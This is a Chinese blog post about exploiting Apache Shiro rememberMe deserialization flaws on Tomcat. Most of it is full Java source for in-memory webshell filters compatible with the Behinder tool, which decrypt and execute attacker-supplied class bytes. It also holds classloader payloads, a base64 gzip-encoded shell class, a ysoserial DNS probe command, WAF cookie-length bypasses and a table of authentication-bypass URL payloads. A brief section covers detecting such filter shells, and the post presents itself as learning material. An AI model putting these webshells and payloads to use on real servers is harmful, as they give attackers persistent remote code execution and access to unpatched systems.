Javaweb安全——Shiro漏洞利用

news/2024/11/13 4:29:22/

炒个冷饭,主要还是对反序列化漏洞利用方式的学习,目前只测试了tomcat环境,后面再将weblogic的部分补一补。

Shiro反序列化

  • SHIRO-550

    • 漏洞编号:CVE-2016-4437 / CNVD-2016-03869 / SHIRO-550

    • 影响版本:shiro 1.x < 1.2.5

    • 漏洞描述:利用硬编码的密钥构造rememberMe参数,进行反序列化攻击

    • 漏洞补丁:Commit

  • SHIRO-721

    • 漏洞编号:CVE-2019-12422 / CNVD-2016-07814 /SHIRO-721

    • 影响版本:shiro < 1.4.2

    • 漏洞描述:RememberMe默认通过 AES-128-CBC 模式加密,易受Padding Oracle Attack攻击

    • 漏洞补丁:Commit

测试环境:

  • https://github.com/phith0n/JavaThings/blob/master/shirodemo

  • Tomcat 9.0.59

  • 前期测试适配内存马时可以修改Tomcat的/conf/server.xml配置文件方便测试,添加一个

    //默认值为4096
    maxHttpHeaderSize="40960000"
    

漏洞原理

从key所在的位置org.apache.shiro.mgt.AbstractRememberMeManager开始跟,先看到getRememberedPrincipals方法,该方法把SubjectContext 转化成 PrincipalCollection,中间还将cookie数据解码。

image-20220914004852596

base64解码的逻辑在CookieRememberMeManager#getRememberedSerializedIdentity

image-20220914003902966

将解码后的 byte 数组传入 convertBytesToPrincipals 中进行decrypt ,使用 AesCipherService 进行解密。

image-20220914010126750

image-20220914004040826

然后看deserialize的处理过程,到DefaultSerializer#deserialize进行反序列化。

image-20220914010206852

image-20220914010307523

测试的话把payload写在remeberMe那

image-20220914010520550

漏洞探测

  • 判断是否是shiro

    • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

      登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

      不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

      勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

  • 判断Shiro正确的key

    • 使用URLDNS链进行出网探测

      java -jar ysoserial.jar URLDNS http://xxx.dnslog.cn
      
    • 命令执行的利用链执行延迟命令

    • 一种另类的 shiro 检测方式

      1.构造一个继承 PrincipalCollection 的序列化对象,即SimplePrincipalCollection类。

      2.key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe

      SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
      ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
      obj.writeObject(simplePrincipalCollection);
      obj.close();
      

利用链

CC链,CB链(原理之前写过在 反序列化漏洞-Shiro(CommonsBeanutils利用链)这篇文章里),利用链还得看具体环境。

内存马写入

获取到request,response和session,把字节码传入然后调用defineClass动态加载此类。

适配冰蝎内存马

request和session对象

request对象可以通过其doFilter方法参数中传递的ServletRequest获得,而session可以通过request.getSession()获得

// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();

pageContext对象

pageContext对象为jsp九大内置对象,在冰蝎作者rebeyond的文章利用动态二进制加密实现新型一句话木马之Java篇中知道,在冰蝎的代码中,服务端需要从pageContext对象中获取出request/response/session。

img

PageContext是一个抽象类,在早期版本中需要自己去实现一个类如:EvilPageContext

image-20220922003424747

而在冰蝎3.0 bata7之后不再依赖pageContext对象,只需给在equal函数中传递的object对象中,有request/response/session对象即可,所以此时我们可以把pageContext对象换成一个Map,手动添加这三个对象即可

HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);

类加载器

冰蝎生成的shell通常都是自定义一个classloader类U,但在打内存马的时候是无法成功的,需要用反射去进行defineClass,就像上面注入的类加载器一样。

最终实现代码:

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Behinder3Filter implements Filter {static {try {final String name = "evil";final String URLPattern = "/*";WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);Behinder3Filter behinderFilter = new Behinder3Filter();FilterDef filterDef = new FilterDef();filterDef.setFilter(behinderFilter);filterDef.setFilterName(name);filterDef.setFilterClass(behinderFilter.getClass().getName());/*** 将filterDef添加到filterDefs中*/standardContext.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern(URLPattern);filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);filterConfigs.put(name, filterConfig);} catch (Exception ex) {ex.printStackTrace();}}@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {try {System.out.println("Do Filter ......");// 获取request和response对象HttpServletRequest request = (HttpServletRequest) servletRequest;HttpServletResponse response = (HttpServletResponse)servletResponse;HttpSession session = request.getSession();//create pageContextHashMap pageContext = new HashMap();pageContext.put("request",request);pageContext.put("response",response);pageContext.put("session",session);if (request.getMethod().equals("POST")) {String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u", k);Cipher c = Cipher.getInstance("AES");c.init(2, new SecretKeySpec(k.getBytes(), "AES"));//revision BehinderFilterMethod method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);method.setAccessible(true);byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);evilclass.newInstance().equals(pageContext);}}catch (Exception e){e.printStackTrace();}filterChain.doFilter(servletRequest, servletResponse);System.out.println("doFilter");}@Overridepublic void destroy() {}
}

image-20220922000048690

冰蝎4.0后对于webshell的逻辑来说主要是增加了自定义解码器,类加载的逻辑和3.0的版本并无不同,以default_xor_base64编码器为例,修改解码逻辑即可连接

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("Do Filter ......");// 获取request和response对象HttpServletRequest request = (HttpServletRequest) servletRequest;HttpServletResponse response = (HttpServletResponse)servletResponse;HttpSession session = request.getSession();//create pageContextHashMap pageContext = new HashMap();pageContext.put("request",request);pageContext.put("response",response);pageContext.put("session",session);if (request.getMethod().equals("POST")){ByteArrayOutputStream bos = new ByteArrayOutputStream();byte[] buf = new byte[512];int length=request.getInputStream().read(buf);while (length>0){byte[] data= Arrays.copyOfRange(buf,0,length);bos.write(data);length=request.getInputStream().read(buf);}//解码器byte[] decodebs;Class baseCls ;try{baseCls=Class.forName("java.util.Base64");Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{bos.toByteArray()});}catch (Throwable e) {try {baseCls = Class.forName("sun.misc.BASE64Decoder");Object Decoder= null;Decoder = baseCls.newInstance();decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(bos.toByteArray())});} catch (Exception ex) {throw new RuntimeException(ex);}}String key="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/for (int i = 0; i < decodebs.length; i++) {decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));}try {//revision BehinderFilterMethod defineClassMethod = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);defineClassMethod.setAccessible(true);Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), decodebs, 0, decodebs.length);cc.newInstance().equals(pageContext);} catch (Exception e) {throw new RuntimeException(e);}}filterChain.doFilter(servletRequest, servletResponse);System.out.println("doFilter");}

Cookie长度限制绕过

waf直接拦截过长的rememberMe Cookie

  • 未知HTTP请求方法 如GET换成XXX 或者删除
  • https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/

写入内存马时payload过长

  • 修改maxHTTPHeaderSize
  • 反序列化一个加载器,从POST请求体中发送恶意字节码(推荐)
  • 分离加载 先写入gzip压缩后的class bytes 再通过class.forName加载

动态类加载+POST传参字节码

通过反序列化获取一个类加载器,并获取到request对象以获得当前请求传参的数据。

获取Request对象(Tomcat)

通常为遍历线程Thread.currentThread()中的对象来查找到其中藏着的request对象,这里介绍两种方法

  1. Thread.currentThread().getContextClassLoader().getResource().getContext()(Tomcat7不可用,且由于exp代码中需要多个循环去获取属性,使得生成的payload还是过大,需要精简一下exp中的变量以及变量名,同时把其他不必要的请求去掉)
  • image-20220920153526515
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class TomcatClazzLoader extends AbstractTranslet {static {try {org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();org.apache.catalina.Context context = webappClassLoaderBase.getResources().getContext();java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");contextField.setAccessible(true);org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(context);java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");serviceField.setAccessible(true);org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();for (int i = 0; i < connectors.length; i++) {if (connectors[i].getScheme().contains("http")) {org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);getHandlerMethod.setAccessible(true);org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);java.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");globalField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");processorsField.setAccessible(true);java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);//通过QueryString筛选for (int k = 0; k < list.size(); k++) {org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k);if (requestInfo.getCurrentUri().contains("aaa")){  //传参请求的页面,不需要服务端真的有这个页面,可以设置一个奇怪一点的,以免获取出错System.out.println("success");java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");requestField.setAccessible(true);org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);org.apache.catalina.connector.Response response = request.getResponse();javax.servlet.http.HttpSession session = request.getSession();String classData = request.getParameter("classData");System.out.println(classData);byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});defineClassMethod.setAccessible(true);Class cc = (Class) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length);Class.forName(cc.getName());break;}}}}} catch (Exception e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}
}
  1. 使用 java-object-searcher 内存对象搜索工具,查找另一个存储了 AbstractProtocol$ConnectoinHandler的对象。基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (更通用的Request获取方法,且payload大小显著减少)
  • image-20220920153021031

  • image-20220921013243518

  • image-20220921013219203

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import org.apache.coyote.Request;
    import org.apache.coyote.RequestInfo;import java.lang.reflect.Field;
    import java.util.List;public class TomcatClazzLoader2 extends AbstractTranslet {static {try {boolean flag = false;Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");for (int i=0;i<threads.length;i++){Thread thread = threads[i];if (thread != null){String threadName = thread.getName();if (threadName.contains("Poller") && threadName.contains("http")){Object target = getField(thread,"target");Object global = null;if (target instanceof Runnable){// 需要遍历其中的 this$0/handler/global// 需要进行异常捕获,因为存在找不到的情况try {global = getField(getField(getField(target,"this$0"),"handler"),"global");} catch (NoSuchFieldException fieldException){fieldException.printStackTrace();}}// 如果成功找到了 我们的 global ,我们就从里面获取我们的 processorsif (global != null){List processors = (List) getField(global,"processors");for (i=0;i<processors.size();i++){RequestInfo requestInfo = (RequestInfo) processors.get(i);if (requestInfo != null){Request tempRequest = (Request) getField(requestInfo,"req");org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);String classData = request.getParameter("classData");if (classData != null){System.out.println(classData);byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});defineClassMethod.setAccessible(true);Class cc = (Class) defineClassMethod.invoke(TomcatClazzLoader2.class.getClassLoader(), classBytes, 0, classBytes.length);Class.forName(cc.getName());flag = true;break;}}}}}}if (flag){break;}}} catch (Exception e){e.printStackTrace();}}public static Object getField(Object obj,String fieldName) throws Exception{Field f0 = null;Class clas = obj.getClass();while (clas != Object.class){try {f0 = clas.getDeclaredField(fieldName);break;} catch (NoSuchFieldException e){clas = clas.getSuperclass();}}if (f0 != null){f0.setAccessible(true);return f0.get(obj);}else {throw new NoSuchFieldException(fieldName);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    }
    
写入内存马

现在有了类加载器,那就可以写入内存马了。将上面的类加载器的payload加在Cookie: rememberMe字段,与要加载的内存马字节码的base64编码post传过去。

image-20220922002259730

tips
  • 这里不能使用之前学习内存马当中用的 Tomcat中一种半通用回显方法方法获取Request对象了,因为shiro是在filter chain处理逻辑的地方出现的漏洞(rememberMe功能就是ShiroFilter的一个模块),还没进入到cache request的操作中,自然就无法获取到了。

  • TemplatesImpl类当中,每次defineClass都会new一个自己的ClassLoader(如下图,在TemplatesImpl中),所以前后两个类没法互相访问,所以也不能使用分次加载调用。

    • image-20220920142607277

    • image-20220920142833144

  • 在注入的类加载器中想要重复加载同名类就使用TomcatClazzLoader.class.getClassLoader(),因为上一条tip的缘故每次都是新的类加载器;若是需要访问上一次加载的类则使用Thread.currentThread().getContextClassLoader()

class.forName分离加载class bytes(gzip压缩)

tomcat结合shiro无文件webshell的技术研究以及检测方法

查看Class.forName的实现过程可发现其会查找classloader的classes字段。

那么事先将defineClass的结果,即要注入的内存马类,添加到classloader的classes字段。再第二次请求时Class.forName直接获取这个内存马类从而减少单次payload的长度。

再配合gzip压缩内存马类的字节码,使得前面定义类到JVM的payload再次减少。

image-20220923213453252

image-20220923000215772

压缩编码工具类

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;public class ClassBytesCompress {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, NoSuchMethodException, IOException, NoSuchFieldException, CannotCompileException, NotFoundException {ClassPool pool = ClassPool.getDefault();CtClass clazzz = pool.get(ShellFilterNoLoader.class.getName());byte[] evilclass_byte = clazzz.toBytecode();System.out.println(Base64.getEncoder().encodeToString(compress(evilclass_byte)));}public static byte[] compress(byte[] encodeBuffer){ByteArrayOutputStream out = new ByteArrayOutputStream();try{GZIPOutputStream gzip = new GZIPOutputStream(out);gzip.write(encodeBuffer);gzip.close();} catch (IOException e) {throw new RuntimeException(e);}return out.toByteArray();}
}

不过这里编码用的内存马只能用最简单的内存马,用上面适配冰蝎的就超出长度了。

image-20220923215125245

定义类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Vector;
import java.util.zip.GZIPInputStream;public class DefineFilterClass extends AbstractTranslet {static {BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();String codeClass = "H4sIAAAAAAAAAI1VXXsTRRR+J1+TpEuRQimxBSxKm1AkqFAlQUQqSDBtY4PFil+bZNJuSXbDZoPl13jptTcF9Hl8uPLCX8Jf4EZ8dxLTpAkpFzszez7mvOecd2b++fePvwBcwoM4DuO6xOcSN6K4OIYAluL4Ajf94VYcX+K2RC6OGO74w1djCCIfxzJWJFYlChJfC0SuWrblXRMIJlPrAqElp6IEDuctW6206iXl3jVLNUom8k7ZrK2bruX/d4Qhb8tqCszml1XdcR8Xt1StltbjLavmKXfFyTtmRblZmvphBE4n89vmI3Mn3VTuo5ry0m3DJceuWptZH4FR7ZEIzIyyF4jf3Cmrhmc5dlNiTSBacdoWAvf3hyq25zX1sKWaXvZ12maDm6n96k7cLdOyNcwxy260vKLnKrMuMKmt05aTzu2JCe9oqVWtKldVcr3WJ7vWNwbV9ArWlC0gcgLjzT7MAqdG58TONfvzYMkPSJS5VPeSE5gekTmxueqhwPw+my3Pa6RvcxjAE3IZR2B/LwYdumiC5XrF55uuUc20N9MsjGX73T5U9Mzyg2WzofmnWVyUuCvxTfsUSKxL3CPpJb4VkBVCcJ3HZEnRabllxUxYjxNDCHrBD2bgCCYEzr5RagJzb5aRgQ18J3HfwPf4wcCP+EniZwMmSiz1CB74aMoGKuAOVWxKbBmwsM1+HnDYBN7aK91qaVuVCfbYsJ6STkOp0T1TPH6j6EYmj6SWQOK1VOpD2W4wj8uQU9QrXe1BZmwqr2C6Zl3pTOaSg4RJDePQkT3ZWsv2rDphxrlX92cy2evXEftMVjuqTOofEKjgOmXVbPZH6gh5oBmpL7mp/6MN3B0nkkMV+pbmqqKvbN4RMW55z7V0FXp3KxBaR5HtKWKPWCD8i7/ghslcah2zGOeLws7weQlx5nHgeJR/ac6Cc/jcE4jfuQjgGMeIFsYxydFoG+A4pjgTPhK08p0va3sMOo5rx+NtZcfRX72NaY4zHRQn+Z3C6fZmYpaPWJyawsJzBDKh888RzIQToYnQM4QDyEQSkb+x+BScdyF3Ec3IPxHbSMgniGeiieguxjYWY4FfMZEIP4PBbsd2cei3Vy98bEGNbY5vJZh5hPEMSqaIcoboUlxdYlLXiW+VqHzsVWJJ0eMd1k5SO40zeBdRXKXvezirdyp0MyvQcl5nXkCSfgG9OocFRo7gDs7jfWZs8PW+wIqH6XUFF/EBdR/Sch6BVwwRk/iIoSQuSyxKfCzxicQViYxEFnhJcDO6wAGC8Ev3abeJC7q4Q/pwpqeBotvAa9rqs/8A0GWnXW8IAAA=";ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();try {//解压缩解码ByteArrayOutputStream out = new ByteArrayOutputStream();ByteArrayInputStream in = new ByteArrayInputStream(b64Decoder.decodeBuffer(codeClass));GZIPInputStream ungzip = new GZIPInputStream(in);byte[] buffer = new byte[256];int n;while ((n = ungzip.read(buffer)) >= 0) {out.write(buffer, 0, n);}byte[] evilclass = out.toByteArray();//在jvm中定义类java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});defineClassMethod.setAccessible(true);Class evilClass = (Class) defineClassMethod.invoke(currentClassloader, evilclass, 0, evilclass.length);//将内存马类存入classes字段java.lang.reflect.Field currentCladdloaderClasses = Class.forName("java.lang.ClassLoader").getDeclaredField("classes");currentCladdloaderClasses.setAccessible(true);Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);classes.add(0, evilClass);} catch (Exception e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

加载类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;public class LoaderShell extends AbstractTranslet {static {try {final String name = "evil";final String URLPattern = "/*";WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);Class filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");Object filterDef = filterDefClass.newInstance();// 设置过滤器名称Method filterDefsetFilterName = filterDefClass.getMethod("setFilterName", String.class);filterDefsetFilterName.invoke(filterDef, name);// 实例化Filter,也就是第一阶段我们加载的那个filter,通过Class.forname查找Method filterDefsetFilter = filterDefClass.getMethod("setFilter", Filter.class);//通过class.forname查找我们待加载的Filter,后面调用newInstance实例化Class evilFilterClass = Class.forName("ShellFilterNoLoader");filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());/*** 将filterDef添加到filterDefs中*/standardContext.addFilterDef((FilterDef) filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern(URLPattern);filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);filterConfigs.put(name, filterConfig);} catch (Exception ex) {ex.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

发两个payload,第一个将内存马类定义,第二个去实例化内存马类然后注册到filter里。

image-20220923215018264

Filter类型的内存马查杀

  • jvisualvm安装MBean插件,查看Catalina/Filter节点中的数据,检查是否存在未知已经怪异名称的节点,或者没有在web.xml中配置的filter,或者filterClass为空的Filter。

权限绕过

这篇文章总结的很详细,这里转载一下文章中的总结表格。

Shiro 历史漏洞分析

漏洞编号Shiro版本配置漏洞形式
CVE-2010-3863shiro < 1.1.0JSecurity 0.9.x/** = anon/./remoting.jsp
CVE-2014-0074/SHIRO-460shiro 1.x < 1.2.3-ldap、空密码、空用户名、匿名
CVE-2016-6802shiro < 1.3.2Context Path绕过/x/../context/xxx.jsp
CVE-2020-1957/SHIRO-682shiro < 1.5.2/** = anon/toJsonPOJO/,Spring Boot < 2.3.0.RELEASE -> /xx/..;/toJsonPOJO
CVE-2020-11989/ SHIRO-782shiro < 1.5.3(等于1.5.2)/toJsonList/* = authc;(小于1.5.3)/alter/* = authc && /** = anon(等于1.5.2)/的两次编码 -> %25%32%66 /toJsonList/a%25%32%66a ->/toJsonList/a%2fa;(小于1.5.3)/;/shirodemo/alter/test -> /shirodemo/alter/test (Shiro < 1.5.2版本的话,根路径是什么没有关系)
CVE-2020-13933shiro < 1.6.0/hello/* = authc/hello/%3ba -> /hello/;a
CVE-2020-17510shiro < 1.7.0/hello/* = authc/hello/%2e -> /hello/. (/%2e/%2e//%2e%2e/%2e%2e/都可以)
CVE-2020-17523shiro < 1.7.1/hello/* = authc/hello/%20 -> /hello/%20
CVE-2021-41303shiro < 1.8.0/admin/* = authc && /admin/page = anon/admin/page/ -> /admin/page
CVE-2022-32532shiro < 1.9.1RegExPatternMatcher && /alter/.*/alter/a%0aaa -> /alter/a%0aaa;/alter/a%0daa -> /alter/a%0daa

参考

Shiro反序列化与Tomcat内存马注入学习

利用shiro反序列化注入冰蝎内存马

Shiro 550 漏洞学习 (二):内存马注入及回显

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案

Shiro 历史漏洞分析

基于全局储存的新思路 | Tomcat的一种通用回显方法研究


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